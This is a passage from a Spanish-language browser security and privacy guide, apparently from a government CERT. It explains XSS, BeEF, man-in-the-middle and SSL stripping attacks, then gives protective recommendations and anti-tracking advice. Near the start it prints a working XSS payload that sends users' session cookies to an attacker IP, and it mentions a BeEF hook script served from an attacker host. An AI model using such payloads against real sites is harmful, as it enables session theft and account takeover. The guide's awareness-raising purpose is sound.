siguiente cadena:
“><script>document.location.replace(‘http://192.168.1.50/cookie.php?c=’+document.c
ookie);</script>
Cada vez que un usuario entre en el foro donde se muestre el nombre

correspondiente al campo vulnerable, se ejecutará el código JavaScript anterior. A
menos que el servidor implemente los flag HTTPOnly y Secure, el código permitiría
redirigir la cookie de sesión actual de cada usuario a la IP del atacante, en este caso
la IP 192.168.1.50. El atacante tendrá únicamente que dejar a la escucha el puerto 80
para esperar las cookies de los usuarios afectados.
19
SIN CLASIFICAR
SIN CLASIFICAR
4.2.2 Ataques con JavaScript (BeEF)
Aunque los XSS persistentes pueden tener un impacto significativo en la

plataforma web no deben menospreciarse los XSS reflejados ya que éstos unidos a la
ingeniería social pueden tener consecuencias importantes. En la siguiente imagen se
muestra un recurso web susceptible a un XSS reflejado.
Figura 17. Página vulnerable a un XSS reflejado
Tal y como se muestra en el código fuente del recurso “portal”, el código

JavaScript es interpretado correctamente por lo que, si un atacante logra que un
usuario abra dicho enlace, conseguirá ejecutar código en su navegador. En este caso,
el código dañino (http://192.168.1.136.3000/hook.js) cargará a su vez otro fichero
JavaScript remoto (hook.js) alojado en el equipo del atacante (IP 192.168.1.136) en el
que ejecutará BeEF [Ref.- 16].
Desde este framework el atacante podrá cargar nuevos payloads, llevar a cabo
ataques Man in the Browser, utilizar el navegador del usuario como proxy, establecer
mecanismos de persistencia en el navegador (XMLHttpRequest Polling, Websockets),
etc.
Figura 18. BeEF (Port Scanner)
4.3 Ataques Man in the Middle

Los ataques Man in the Middle (MitM) o ataques "de hombre en medio", bajo el
contexto de este informe, hacen referencia a la capacidad que puede tener un
tercero de acceder a los datos transferidos por un usuario desde su navegador a
determinado servicio web y viceversa. El usuario debe conocer que determinados
entornos son más proclives a este tipo de ataques debido a la facilidad de acceso al
mismo medio de conexión que puede tener un atacante.
20
SIN CLASIFICAR
SIN CLASIFICAR
Un ejemplo de un entorno potencialmente hostil es una red local en la cual

múltiples usuarios comparten una misma VLAN y en la que no se han aplicado las
medidas de seguridad adecuadas.
Bajo este tipo de entornos, existen multitud de ataques (ARP Poisoning,

DHCP/DNS Spoof, STP Mangling, etc.) a los que puede recurrir un atacante para que el
tráfico de cierta víctima sea redirigido o capturado por su equipo de forma que
pueda monitorizar y/o modificar los datos del usuario. Herramientas como Ettercap,
Bettercap, Yersinia, Cain & Abel, así como el uso de falsos AP (Access Point) que
simulan redes wireless son, mayoritariamente, los recursos más utilizados por los
atacantes para conseguir acceso a los datos de los usuarios.
Si un usuario es víctima de uno de estos ataques y realiza conexiones desde el

navegador con un servicio web no seguro (el cual no implementa un cifrado robusto)
sus datos serán susceptibles de ser robados o modificados. Esto significa, por ejemplo,
que sus credenciales pueden ser sustraídas o que sus cookies de sesión pueden ser
reutilizadas para suplantar su identidad (termino conocido como sidejacking).
Incluso aunque la información intercambiada por el usuario desde su navegador

no contenga datos privados o relevantes el atacante puede inducir al usuario a
navegar a páginas controladas por el mismo o a realizar acciones no deseadas desde
el propio navegador.
La siguiente imagen representa un ataque de este tipo en donde un

determinado usuario, víctima de un ARP Spoof, es forzado a acceder a un recurso
controlado por el atacante. Fíjese en cada una de las fases que se desarrolla en el
diagrama.
Figura 19. MitM
El atacante, desde su posición privilegiada, espera recibir una respuesta HTML de

una conexión legítima para inyectar un iframe apuntando a uno de sus servidores de
control (paso 4). Cuando el navegador recibe el código adulterado realiza una
conexión al servidor dañino www.malicious-site.com. Dicho sitio tiene a la escucha
Metasploit con el módulo browser_autopwn2 [Ref.- 17] de forma que una vez que
recibe la conexión del usuario intenta explotar alguna vulnerabilidad del navegador
21
SIN CLASIFICAR
SIN CLASIFICAR
para conseguir shell en dicha máquina. Es importante darse cuenta que el usuario no
necesita ni siquiera hacer clic en un enlace dañino para forzar a su navegador a
acceder a un recurso controlado por el atacante.
Aunque pueda parecer complejo preparar este tipo de escenarios, algunas de

las herramientas previamente listadas e incluso herramientas para Android [Ref.- 18]
permiten automatizar a golpe de clic este tipo de ataques.
Nota: un atacante puede utilizar diversas técnicas para conseguir acceder al tráfico
del usuario incluso cuando éste se encuentra en un lugar remoto.
Por ejemplo, multitud de routers domésticos son propensos a vulnerabilidades que

pueden ser explotadas y que permiten su acceso remoto. Un atacante puede
modificar sus DNS para redirigir el tráfico del usuario a un servidor dañino. Asimismo,
cierto tipo de ataques CSRF [Ref.- 19] pueden instruir al navegador de la víctima a
modificar también sus DNS. Los routers corporativos tampoco quedan exentos de este
tipo de ataques; bien por vulnerabilidades o por deficiencias de configuración pueden
ser remotamente configurados para hacer forwarding de sus conexiones a un sistema
controlado por los atacantes.
Ataques mucho más sofisticados en los que pueden verse involucrados incluso países
son también posibles mediante la modificación de rutas BGP [Ref.- 20] en routers
fronterizos. Si este tipo de ataques se combinan con el robo de certificados
procedentes de autoridades de certificación (CA) las consecuencias pueden ser
devastadoras [Ref.- 21].
4.3.1 SSL Stripping
Los ataques de tipo "SSL stripping" tienen como objetivo aprovecharse de

conexiones inseguras para forzar al navegador de la víctima a comunicarse con el
atacante mediante texto plano sobre HTTP. El atacante, a modo de proxy, reenvía
dicho tráfico en su versión HTTPS consiguiendo así que la conexión segura se
establezca únicamente entre el atacante y el servidor destino (mientras, por otro lado,
se comunica por HTTP con el cliente).
Figura 20. SSLtrip
Actualmente los navegadores implementan medidas como HSTS para evitar este
tipo de ataques. No obstante, HSTS puede ser evadido también bajo ciertas
condiciones tal y como se describe en el siguiente punto.
22
SIN CLASIFICAR
SIN CLASIFICAR
4.3.2 HTTP Strict Transport Security
Como se detalló en el punto 3.1.1, la política HSTS tiene como objetivo evitar
ataques de tipo downgrade forzando al navegador a emplear una conexión HTTPS
para comunicarse con el servicio.
Uno de los problemas que presenta dicha directiva es que cuando ésta es
enviada por primera vez, como consecuencia de la primera conexión del navegador,
o bien cuando el tiempo establecido por “max-age” expira, un atacante con acceso
al medio de dicha comunicación puede eliminar la cabecera “Strict-Transport-
Security” de forma que el navegador nunca llegue a conocer las exigencias HTTPS del
servicio. Para evitar este problema, algunos navegadores como Chrome o Firefox
traen precargada una lista de dominios de confianza.
Sin embargo, existen todavía posibilidades de ataque para evadir esta medida.
En la BlackHat Asia de 2014 se presentó una evolución de la conocida herramienta
SSLtrip con el nombre SSLtrip+ o SSLtrip2 la cual implementa nuevas funcionalidades
[Ref.- 22] para evadir HSTS haciendo un downgrade de los enlaces HTTPS a HTTP y
anteponiendo determinados subdominios no válidos para los sitios objetivo.
4.3.3 Downgrade attacks
Los ataques downgrade tienen como objetivo rebajar el nivel de seguridad

implementado en determinado protocolo o sistema para facilitar así un ataque
posterior. Este tipo de acciones suelen ser utilizadas contra servicios que presentan
sistemas criptográficos de autenticación que admiten negociación.
Un ataque downgrade, por ejemplo, permitiría forzar a que un determinado

servicio deje de utilizar un modo de operación criptográfico robusto y de gran calidad
para utilizar otro más débil y más susceptible a ser vulnerado.
Las librerías en las que se apoyan servicios web, correo electrónico, etc., suele ser
objeto de este tipo de ataques. Un atacante, bajo una conexión de estas
características y aprovechándose de un MitM podría inyectar determinado código
JavaScript en el navegador de la víctima para enviar múltiples peticiones a
determinado sitio web seguro para ir descifrando poco a poco el contenido cifrado.
5. RECOMENDACIONES DE SEGURIDAD
El usuario debe entender que el navegador es una herramienta muy compleja
capaz de manejar numerosas tecnologías y que, al igual que cualquier otro programa,
está sujeta a vulnerabilidades y a gran variedad de ataques. Describir la facilidad con
la que muchos de estos ataques son realizados es uno de mejores métodos para
concienciar al usuario sobre las consecuencias que puede acarrear hacer un mal uso
del navegador.
23
SIN CLASIFICAR
SIN CLASIFICAR
5.1 Actualizaciones del navegador y plugins

Posiblemente, la pauta más importante que debe seguir el usuario para evitar la
mayor parte de ataques críticos descritos anteriormente es asegurarse que su
navegador, así como plugins y extensiones están actualizados correctamente.
Como se ha descrito en el punto 4.1, los atacantes, de forma automatizada,

pueden conocer la versión y tipo del navegador/plugins para posteriormente lanzar
exploits a medida. Un navegador actualizado evitará gran parte de estos problemas.
Actualmente, los desarrolladores de los navegadores más utilizados conocen la

importancia de mantener el navegador actualizado y ya implementan mecanismos
para realizar dicha acción de forma automatizada.
Por ejemplo, los navegadores Firefox y Chrome configuran y gestionan dicha

actualización por medio de la propia aplicación. En el caso de Chrome mediante
tareas programadas y en el caso de Firefox desde el propio proceso del navegador.
Por otro lado, tanto Edge (el último navegador de Microsoft incorporado en
Windows 10) como IE (Internet Explorer) reciben sus actualizaciones a través de los
updates del sistema operativo. Es fundamental, por tanto, que el usuario se asegure
que su Windows está configurado para actualizarse de forma automática
(configuración por defecto).
Por otro lado, la gestión de los plugins dependerá de cada caso en particular.
Por ejemplo, en el siguiente cuadro se resume la forma en la que Adobe Flash Player es
gestionado por cada uno de los navegadores.
Figura 21. Adobe Flash
A partir de la versión 11.2 Adobe Flash Player [Ref.- 23] utiliza un servicio y cierta
tarea programada para mantener el sistema actualizado (siempre y cuando el
usuario, durante la instalación, seleccione la opción por defecto).
Otro plugin que requiere gran atención es Java ya que, al igual que Flash, es uno
de los principales objetivos [Ref.- 24] de los atacantes. Es muy importante que el
usuario esté al corriente y apruebe las actualizaciones disponibles. El proceso
24
SIN CLASIFICAR
SIN CLASIFICAR
jusched.exe se ejecutará cada vez que el equipo se inicie y será el encargado de

gestionar las actualizaciones automáticas.
Figura 22. Java. Proceso jusched.exe
Al igual que el plugin de Flash, se recomienda no instalar Java a menos que sea
estrictamente necesario, en cuyo caso considere las recomendaciones del siguiente
punto.
5.1.1 Click To Play
La mayor parte de navegadores permiten deshabilitar y habilitar a golpe de clic

los componentes instalados. Ésta puede ser una buena opción para activar de forma
temporal plugins como Flash y Java de forma controlada por el usuario.
Figura 23. Habilitar/Deshabilitar Java en Firefox
Otra opción es activar bajo demanda, en función del dominio visitado, el plugin
correspondiente. La mayor parte de navegadores soportan esta funcionalidad
conocida como click-to-play. La idea es bloquear por defecto todos los plugins (o
aquellos que desee el usuario) y solicitar la ejecución de los mismos cada vez que una
página web visitada requiera alguno de ellos.
Delegar la ejecución de plugins al usuario es un buen control de seguridad para

evitar exploits que se aprovechan de plugins vulnerables e incluso de cierto tipo
ataques de malvertising. Para conocer cómo habilitar esta funcionalidad en los
navegadores Firefox, Chrome, Opera, Internet Explorer y Safari se recomienda visitar la
referencia adjunta [Ref.- 25].
5.2 Software para mitigar exploits

Tal y como se ha descrito en el punto 4.1 existen determinados tipos de ataques
con los que es posible comprometer un equipo con tan sólo visitar un enlace (sin
25
SIN CLASIFICAR
SIN CLASIFICAR
necesidad de descargar o ejecutar un fichero) al aprovecharse de vulnerabilidades

en el navegador o en alguno de sus componentes.
Ya que en ocasiones herramientas de ataque como los Exploit Kits cuentan con
0-days (exploits para vulnerabilidades desconocidas que no han sido parcheadas) es
aconsejable disponer de software adicional para mitigar los mismos. Una de las
herramientas más conocidas es EMET (Microsoft) [Ref.- 26] la cual permite aplicar
determinadas medidas de seguridad tales como DEP, ASLR, EAF, SEHOP, NPA, etc., de
forma personalizada a los procesos que se deseen para prevenir la ejecución de
código dañino.
Se recomienda que herramientas como el navegador, así como tecnologías

como Java o Adobe Flash se encuentren protegidas por EMET o herramientas similares
(por ejemplo, Malwarebytes Anti-Exploit [Ref.- 27]). Este tipo de aplicaciones no deben
de verse como una alternativa al antivirus sino como una herramienta adicional más
de protección.
5.3 HSTS y HTTPS Everywhere

Como se ha descrito en el punto 3.1.1 la política HSTS tiene como objetivo, entre
otros, evitar ataques SSL Stripping. Esta funcionalidad viene implementada en la gran
mayoría de navegadores actuales.
Para fortalecer aún más la defensa contra algunos de los ataques definidos en el
punto 4.3, donde se explicaron diversos ataques MitM (Man In The Middle), se
recomienda el uso de la extensión HTTPS Everywhere [Ref.- 28]. Esta extensión surge
como un proyecto de colaboración entre "Tor Project" y la EFF (Electronic Frontier
Foundation) y su objetivo es facilitar y priorizar el uso de HTTPS en las comunicaciones
del usuario. Ya que muchos servidores web todavía ofrecen sus servicios por medio de
HTTP y HTTPS, este complemento garantiza siempre el uso del canal seguro.
Actualmente HTTPS Everywhere dispone de miles de reglas [Ref.- 29] que le

indican al navegador qué sitios deben usar HTTPS. Desde la página oficial de la EFF se
explica cómo añadir nuevas reglas personalizadas para incluir dominios no
contemplados por defecto. La siguiente imagen muestra a modo de ejemplo la regla
encargada de reescribir conexiones HTTP por HTTPS para el dominio
www.pastebin.com.
Figura 24. Reglas rewrite www.patebin.com
5.4 Protección de las sesiones

Es importante que el usuario gestione de manera adecuada el uso de las cookies
de sesión, así como las propiedades LocalStorage y sessionStorage utilizadas por HTML5
como sistema de almacenamiento local.
26
SIN CLASIFICAR
SIN CLASIFICAR
El LocalStorage es utilizado para guardar de forma indefinida información

asociada con la sesión del usuario. Únicamente se eliminarán los datos de este sistema
de almacenamiento mediante código o de forma manual, por ejemplo, desde el
propio navegador. Por el contrario, sessionStorage guarda información de sesión de
forma temporal que es eliminada cuando el navegador se cierra. Estos dos
mecanismos se crearon como una evolución y mejora de las cookies tradicionales.
Nota: los principales navegadores también permiten eliminar de forma global las
cookies y LocaStorage desde el menú accesible por la combinación de teclas “Ctrl-
Shift-Del”. Es posible también, en algunos de ellos, configurar que dicha información
sea eliminada automáticamente cada vez que se cierre el navegador.
Figura 25. Eliminación datos historial en Chrome, Firefox, IE y Opera
Eliminar este tipo de información de sesión ayudará a prevenir diversos tipos de

ataques contra la privacidad y confidencialidad del usuario. Por ejemplo, si un usuario
comparte físicamente un mismo equipo con diversas personas, cualquiera que
disponga de los permisos necesarios podría acceder a las sesiones almacenadas por
el navegador del resto de usuarios. Incluso podría extraer dicha información para
reutilizarla posteriormente en otro equipo.
Por otro lado, muchas compañías utilizan la información de sesión de los usuarios
para hacer un seguimiento de la actividad de los mismos sin su consentimiento (véase
punto 6).
Algunas extensiones de gran ayuda para gestionar fácilmente este tipo de datos
son BetterPrivacy y Self-Destructing Cookies [Ref.- 30]. Estas extensiones permiten
eliminar automáticamente las cookies (e información de sesión) cuando ya no son
requeridas.
Para cada sitio que visite el usuario se puede indicar que elimine los datos de
sesión, bien cuando se cierre el navegador/pestaña o que se mantengan persistentes.
Estas extensiones ayudarán en gran medida a luchar contra evercookies [Ref.- 31],
ETag tracking, determinados ataques CSRF que se aprovechan de sesiones
almacenadas, así como múltiples técnicas de seguimiento utilizadas por multitud de
compañías.
27
SIN CLASIFICAR
SIN CLASIFICAR
Figura 26. BetterPrivacy y Self-Destructing Cookies
5.5 Contraseñas almacenadas

La mayoría de navegadores ofrecen la posibilidad de guardar las credenciales
de acceso a los diversos servicios web para agilizar y facilitar la navegación al usuario.
Esta funcionalidad permite que los usuarios tengan que introducir una única vez sus
credenciales de modo que en posteriores accesos el navegador se encargue de
autocompletar las mismas.
Figura 27. Recordar credenciales (Firefox)
La forma, sin embargo, en la que la mayoría de navegadores almacenan dichas

credenciales [Ref.- 32] en disco no es segura siendo así susceptibles de ser fácilmente
extraídas. Este hecho ha sido aprovechado desde hace tiempo por los desarrolladores
de malware para implementar funcionalidades [Ref.- 33] que automatizan la
extracción de credenciales (password stealers) de los principales navegadores.
La siguiente imagen se corresponde con una captura de Metasploit con el

módulo de post-explotación post/windows/gather/enum_chrome. Tras obtener una
sesión en la máquina de la víctima dicho módulo permite recuperar la información de
sesión, historial, credenciales en claro, etc., almacenada por dicho navegador.
Figura 28. Metasploit: post/windows/gather/enum_chrome
28
SIN CLASIFICAR
SIN CLASIFICAR
Del mismo modo, un atacante que tenga acceso físico a la misma sesión de un
usuario podría visualizar fácilmente en claro las credenciales almacenadas.
Únicamente necesita acceder al panel de gestión y configuración de las
credenciales.
Figura 29. Visualización contraseñas almacenadas (Chrome y Firefox)
Debido a la escasa seguridad que ofrecen estos mecanismos, es recomendable

no hacer uso de dicha funcionalidad y delegar dicha gestión, en caso de que el
usuario dese utilizar este tipo de facilidades, a otro tipo de herramientas más seguras y
específicas para dicho propósito [Ref.- 34].
Estas herramientas, denominadas gestores de contraseñas, permiten proteger de

forma más segura las credenciales de los usuarios. No obstante, el usuario debe saber
que los gestores de contraseñas tampoco están exentos de vulnerabilidades [Ref.- 35].
Como medida complementaria es recomendable que el usuario utilice sistemas

de doble autenticación para acceder a los servicios web.
Nota: algunos navegadores permiten incrementar significativamente la gestión que

hacen de las contraseñas por medio de una clave maestra la cual será solicitada
cada vez que se intente acceder al repositorio de credenciales. Es altamente
recomendable utilizar esta opción en caso de delegar la gestión de contraseñas al
navegador.
Figura 30. Clave maestra (Firefox)
5.6 Certificate Pinning

En el punto 4.3 se detallaron algunas de las consecuencias de sufrir un ataque
MitM. Uno de los mayores peligros a los que se puede exponer un usuario es que el
acceso a determinados servicios críticos (protegidos bajo HTTPS) sea vulnerado de
29
SIN CLASIFICAR
SIN CLASIFICAR
forma que un atacante pueda acceder a los mismos sin que ni siquiera el propio
usuario sea consciente de dicha intrusión. Este ataque es viable si los atacantes logran
comprometer algunos de los componentes involucrados en una PKI (Public Key
Infrastructure).
Cuando un cliente accede a un sitio web bajo una conexión segura dicho
servicio envía un certificado digital al navegador del usuario para tratar de
autenticarse. Este certificado contiene múltiples campos en los que se indican el
propietario, el dominio asociado, la clave pública del mismo, una firma digital, así
como otro tipo de información relacionada con las propiedades del propio certificado
(fecha de validez, etc.).
El navegador, al recibir dicho certificado, comprobará que la firma es correcta y

que el mismo ha sido firmado por una autoridad certificadora (CA) de confianza. Es
importante entender que los navegadores vienen preconfigurados con un conjunto de
certificados raíz (Root CA) en los cuales confía y que dicha confianza se basa en este
hecho. Si, por ejemplo, el sitio web visitado utiliza un certificado auto-firmado en el
cual no confía el navegador, se alertaría al usuario de dicho hecho para que éste
valore y tome las decisiones oportunas (aceptar o denegar la conexión).
Figura 31. Certificado auto-firmado
Por cuestiones principalmente de seguridad, los certificados raíz no firman

directamente los certificados finales (o de suscriptor) sino que se utilizarán para firmar
certificados intermedios denominados certificados subordinados (Sub-CA) en los
cuales delega su confianza para firman los certificados finales. Este proceso, conocido
como "cadena de confianza", es el que emplean los navegadores para autenticar la
identidad de un servicio.
Figura 32. Jerarquía de certificados, dominio ccn-cert.cni.es
30
SIN CLASIFICAR
SIN CLASIFICAR
Nota: los certificados de tipo EV (verificación extendida) suelen ser mostrados de un

color verde en el navegador para diferenciarlos de otro tipo de certificados. El
concepto "verificación extendida" significa que dicho certificado ha sido expedido de
conformidad con las directrices de validación definidas por el CA/Browser Forum
(grupo que engloba las principales autoridades de certificación SSL) las cuales
presentan medidas muy rigurosas para validar los datos del solicitante. Es
recomendable que el usuario observe si este tipo de certificados está presente en los
servicios web críticos en los cuales confía.
Figura 33. Certificado EV (Paypal)
El principal problema de la cadena de confianza se presenta cuando se

compromete una CA raíz/intermedia o bien cuando un grupo de atacantes consigue
implantar con éxito una entidad intermedia. En este escenario, los atacantes,
mediante un ataque de hombre en medio, podrían cifrar y descifrar el tráfico de los
usuarios de forma totalmente transparente, viéndose así comprometida la
confidencialidad de sus comunicaciones. Casos como el de Diginotar [Ref.- 36] o
Comodo han demostrado que este tipo de ataques son totalmente viables y reales.
Una de las opciones que dispone el usuario para mejorar la seguridad de su

navegador respecto a este problema es hacer uso del denominado “Certificate
Pinning” [Ref.- 37]. El término pinning hace referencia al proceso de asociar un
determinado host con su respectivo certificado X.509 y su clave pública.
Algunos navegadores han incluido capacidades de pinning para reducir este

tipo de ataques. Por ejemplo, Google Chrome además de soportar HSTS (junto con su
lista precargada de dominios) incluye en el código fuente los datos de las CA que
firman certificados de servicio.
Una alternativa, independiente del navegador, para aplicar "Certificate Pinning"

es EMET. Además de proporcionar las capacidades anti-explotación descritas en el
punto 5.2, también permite aplicar este sistema de seguridad.
Nota: el mecanismo de pinning es también utilizado por la directiva de seguridad HPKP

(HTTP Public Key Pinning) la cual, utilizada de forma conjunta con HSTS, es realmente
eficiente para enfrentarse a ataques MitM. La idea de esta directiva es permitir que los
servicios web (HTTPS) informen, en su primera comunicación con el navegador, las
claves públicas asociadas a dicho dominio de forma que sean recordadas por el
mismo durante determinado tiempo (especificado por el parámetro “max-age”). Si el
navegador, posteriormente, recibe una clave pública diferente podrá alertar al
usuario de un posible ataque MitM.
31
SIN CLASIFICAR
SIN CLASIFICAR
5.7 Otras recomendaciones de carácter genérico

• Revise las opciones de seguridad y privacidad de su navegador. Actualmente los
navegadores disponen de medidas tan interesantes como: no aceptar cookies de
terceros, bloquear pop-ups, evitar la sincronización de contraseñas, evitar el
autocompletado, borrar los ficheros temporales y cookies al cerrar el navegador,
bloquear la geolocalización, filtrar ActiveX, etc. En caso de no contar con alguna
de estas funcionalidades podrá recurrir al uso de extensiones o herramientas de
seguridad externas.
• Si se navega por páginas desconocidas es recomendable que el usuario

deshabilite plugins como Flash/Java e incluso JavaScript. Algunos complementos
como QuickJava facilitan esta tarea enormemente. Para usuarios más expertos se
recomienda el uso de complementos como NoScript o uMatrix con el cual es
posible configurar a medida políticas de seguridad para el uso de JavaScript, Java
y otros plugins.
• Utilíce contraseñas robustas y diferentes para el acceso a los servicios web y, si es

posible, debe utilizarse doble autenticación. Estas contraseñas deberán ser
periódicamente renovadas.
• Es recomendable que el usuario no almacene las sesiones asociadas a servicios

web que manejen información sensible o crítica en el equipo y cierre las mismas
una vez que finalice su navegación.
• No deben instalarse plugins/extensiones desde sitios no oficiales (aquellos no

relacionados con el del propio sitio del desarrollador).
• No debe hacerse clic en enlaces sospechosos; por ejemplo, los recibidos por
medio del correo electrónico.
6. RECOMENDACIONES DE PRIVACIDAD
6.1 Técnicas de seguimiento

No son escasos los métodos que permiten hacer un seguimiento de las
actividades del usuario mientras navega por Internet. Determinadas compañías utilizan
algunas de estas técnicas para ofrecer publicidad segmentada y contextual basada
en las preferencias de los usuarios. Este tipo de acciones son las que explican por qué
determinadas páginas muestran anuncios y banners relacionados con gustos y
preferencias de los usuarios.
Una de las técnicas más utilizadas para hacer un seguimiento del usuario es el
uso de cookies. La principal función de una cookie es llevar el control de un usuario.
Normalmente cuando un usuario se autentica con éxito contra un servicio web, éste le
asigna una cookie única que permite identificar la sesión asociada a dicho usuario.
El cliente cada vez que realiza una petición posterior a dicho servicio envía la
cookie asignada como parte de las cabeceras enviadas por el navegador. Mediante
este mecanismo el servidor web puede reconocer la legitimidad de la petición y su
relación con el usuario.
32
SIN CLASIFICAR
SIN CLASIFICAR
Las cookies también pueden ser asignadas a un cliente sin necesidad de

autenticarse previamente a un sitio web. Generalmente el servicio la crea para
guardar los hábitos y preferencias de su navegación. Algunas agencias de publicidad
utilizan este tipo de cookies para recopilar la mayor cantidad de información del
usuario creando así un perfil asociado al mismo para ofrecerle publicidad dirigida.
Habitualmente la vía de acceso utilizada para fijar este tipo de cookies es por
medio de servidores de anuncios compartidos por múltiples dominios, lo que les
permite relacionar las páginas accedidas por cada usuario.
Esto significa que los usuarios, sin necesidad de acceder directamente a los
dominios que fijan este tipo de cookies (cookies de terceros), pueden recibir las mismas
igualmente si el dominio visitado incrusta (por ejemplo, mediante un iframe) alguno de
esos sitios. Este es también el mecanismo utilizado por redes sociales tales como
Facebook, Google+, etc. La siguiente imagen muestra de forma genérica un caso
práctico de este tipo de técnicas.
Figura 34. Third-Party cookies
En la imagen anterior, un usuario visita determinada página (http://sitioA.com) la

cual aloja un anuncio por medio de un iframe (http://sitioB.com). Este anuncio obliga
al navegador a hacer una nueva petición HTTP a http://sitioB.com. Cuando el sitio B
recibe dicha petición es capaz de deducir, gracias al header "Referer", el origen del
anuncio, es decir el Sitio A. Con esta información el Sitio B comienza a crear un perfil
para dicho usuario y establece una cookie de seguimiento.
Si posteriormente ese mismo usuario visita otra página, por ejemplo,

http://sitioC.com (en la cual el sitio B contiene también un anuncio), el usuario enviará
la cookie previamente establecida. De esta forma el sitio B podrá correlar que un
mismo usuario ha visitado ambos sitios.
Las cookies, sin embargo, no son el único recurso al que se puede recurrir [Ref.-
38] para realizar un seguimiento de los usuarios. El LocalStorage, LSO (Local Shared
Objects), evercookies, canvas fingerprinting, etc., son otras técnicas que permiten
identificar y correlar información acerca de los clientes. Gran parte de estas técnicas
se aprovechan de las funcionalidades proporcionadas por HMLT5.
Las propias características del navegador pueden ser suficientes también (sin
necesidad de cookies) para identificar de manera casi unívoca un navegador. El
33
SIN CLASIFICAR
SIN CLASIFICAR
proyecto https://panopticlick.eff.org (Panopticlick) creado por el EFF es un buen

recurso para probar cómo de único puede ser el navegador.
Es interesante comprobar que además de los plugins, información sobre la

plataforma, user-agent, etc., se consideran también las fuentes del navegador para
crear una firma más precisa.
Figura 35. Fingerprinting
Algunas extensiones como "Random Agent Spoofer" [Ref.- 39] proporcionan

múltiples opciones para protegerse en gran manera contra este tipo de técnicas de
fingerprinting.
Esta extensión permite modificar el user-agent del propio navegador por uno
generado de forma aleatoria o bien por uno predefinido. Además, proporciona otras
funcionalidades interesantes destinadas a proteger la privacidad y seguridad de la
navegación; por ejemplo: eliminar determinadas cabeceras (por ejemplo, el header
"Referer"), habilitar cabeceras como "Do Not Track" (utilizado para instruir al servidor
Web a que no realice técnicas de seguimiento del usuario) [Ref.- 40], deshabilitar
tecnologías como WebGL o WebRTC (la cual puede utilizarse para revelar información
delicada; por ejemplo, la dirección IP real detrás de una VPN), permite falsificar la
resolución del monitor (característica que también puede ser usada para identificar un
cliente), etc.
Figura 36. Random Agent Spoofer
34
SIN CLASIFICAR
SIN CLASIFICAR
Aunque los principales navegadores ya disponen de algunas contramedidas

para bloquear ciertas técnicas de seguimiento, existen extensiones interesantes que
permiten reducir la “huella digital” y mejorar la privacidad del usuario.
Algunas de las extensiones que protegen de manera eficiente contra cookies de

terceros y algunas de las técnicas previamente descritas son: Disconnect, Privacy
Badger, Decentraleyes y uBlock Origin. Disconnect [Ref.- 41] y Privacy Badger [Ref.-
42], por ejemplo, permiten bloquear el seguimiento utilizado por centenares de
servicios de terceros, así como motores de búsqueda y redes sociales evitando el
rastreo del usuario y agilizando la navegación web.
Figura 37. Extensión Disconnect
Decentraleyes [Ref.- 43], de forma complementaria, puede utilizarse para evitar

la carga de numerosos recursos web (AngularJS, Backbone.js, jQuery, Underscore.js,
etc.) comúnmente cargados desde CDN (Content Delivery Networks) tales como:
Google Hosted Libraries, Microsoft Ajax CDN, CDNJS (Cloudflare), jQuery CDN
(MaxCDN), jsDelivr (MaxCDN).
La idea de Decentraleyes es bloquear el tráfico a este tipo de servidores de

distribución y cargar dichos recursos de forma local (motivo por el cual ocupa unos 5
MB aproximadamente) para evitar así posibles técnicas de seguimiento (basadas en
direcciones IP, campo referer, etc.) utilizadas por algunas de estas redes. En
https://decentraleyes.org/test/ es posible probar la exposición de nuestro navegador a
este tipo de redes.
Por último, es importante mencionar uBlock Origin [Ref.- 44] al tratarse de una de
las mejores extensiones open-source existentes para bloquear anuncios, cookies de
terceros, así como páginas potencialmente dañinas. Esta extensión dispone de
multitud de listas negras públicas relacionadas con anuncios, privacidad, dominios de
malware, etc., además de permitir la incorporación de filtros y reglas personalizadas.
35
SIN CLASIFICAR
SIN CLASIFICAR
Figura 38. Extensión uBlock Origin
El uso de este tipo de complementos ayudará a reducir las vías de infección

generadas por medio de técnicas de malvertising descritas en el punto 4.1.1.2.
Cabe mencionar que los complementos expuestos anteriormente representan

sólo algunas de las soluciones existentes. Existen multitud de extensiones dirigidas a
evitar el fingerprinting y las técnicas de tracking utilizadas por terceros; por ejemplo:
CanvasBlocker, Blender, Location Guard, etc.
Es importante que el usuario valore qué extensiones disponibles para su

navegador se adaptan mejor a sus necesidades. Téngase en cuenta que algunas de
estas extensiones requieren de determinados conocimientos técnicos del usuario para
configurarlas y utilizarlas de forma eficiente sin que se generen problemas de
visualización o incompatibilidad con otras extensiones.
Para conocer otras herramientas similares encaminadas a mejorar la privacidad

del usuario se recomienda el sitio www.privacytools.io.
De forma complementaria a estas extensiones, el uso de buscadores como

https://duckduckgo.com/ o https://www.startpage.com/ incrementarán la privacidad
del usuario frente a otra serie de buscadores los cuales monitorizan y almacenan todo
tipo de información.
Nota: los usuarios técnicos pueden considerar extensiones como "NoScript Security
Suite" o "Policeman" para la generación de reglas más personalizadas basadas en tipo
de contenido.
6.2 Modo privado de navegación

Los principales navegadores actuales disponen de un modo de navegación
denominado privado o incógnito. La idea de este modo es que el usuario pueda abrir
una instancia del navegador de forma independiente (diferente estéticamente para
identificarla de forma visual) que no haga uso de los datos de sesión almacenados en
el modo normal de ejecución. Cuando el usuario cierre el navegador, éste se
encargará de borrar las cookies, archivos temporales, búsquedas realizadas, el historial
así como otros datos locales creados durante la navegación.
36
SIN CLASIFICAR
SIN CLASIFICAR
Asimismo, algunos navegadores deshabilitarán las extensiones y habilitarán

ciertas medidas anti-tracking para mejorar la privacidad. Este modo de navegación
está libre de cualquier sesión utilizada en el modo de navegación normal por lo que
añade cierta comodidad cuando se quiere acceder a un sitio web de forma anónima
(no autenticada) sin tener que eliminar las cookies de sesión, así como otra serie de
datos locales almacenados por el navegador (por ejemplo, el autocompletado de
formularios).
Figura 39. Modo privado/incógnito en Firefox, Chrome, IE y Opera
Es importante entender, no obstante, que este modo de trabajo no significa que

el usuario no sea identificable. Algunas de las técnicas descritas en el punto anterior
siguen siendo igualmente útiles en este modo de ejecución (misma dirección IP,
fingerprinting, etc.). En enero de 2015, por ejemplo, un investigador de seguridad,
detallaba [Ref.- 45] cómo era posible identificar usuarios incluso en el modo incógnito
gracias al uso de determinados flags HSTS.
Del mismo modo, el modo privado tampoco elimina numerosas evidencias de

navegación en disco ni memoria. Con la ayuda de herramientas forenses podrían
obtenerse los datos de la sesión/sesiones utilizados por el usuario. La siguiente imagen
procede del paper “Analysis of Privacy of Private Browsing Mode through Memory
Forensics” [Ref.- 46] publicado en diciembre de 2015.
El cuadro recoge las

evidencias que pudieron ser
adquiridas a partir de un
volcado de memoria después
de cerrar el navegador en
modo incógnito.
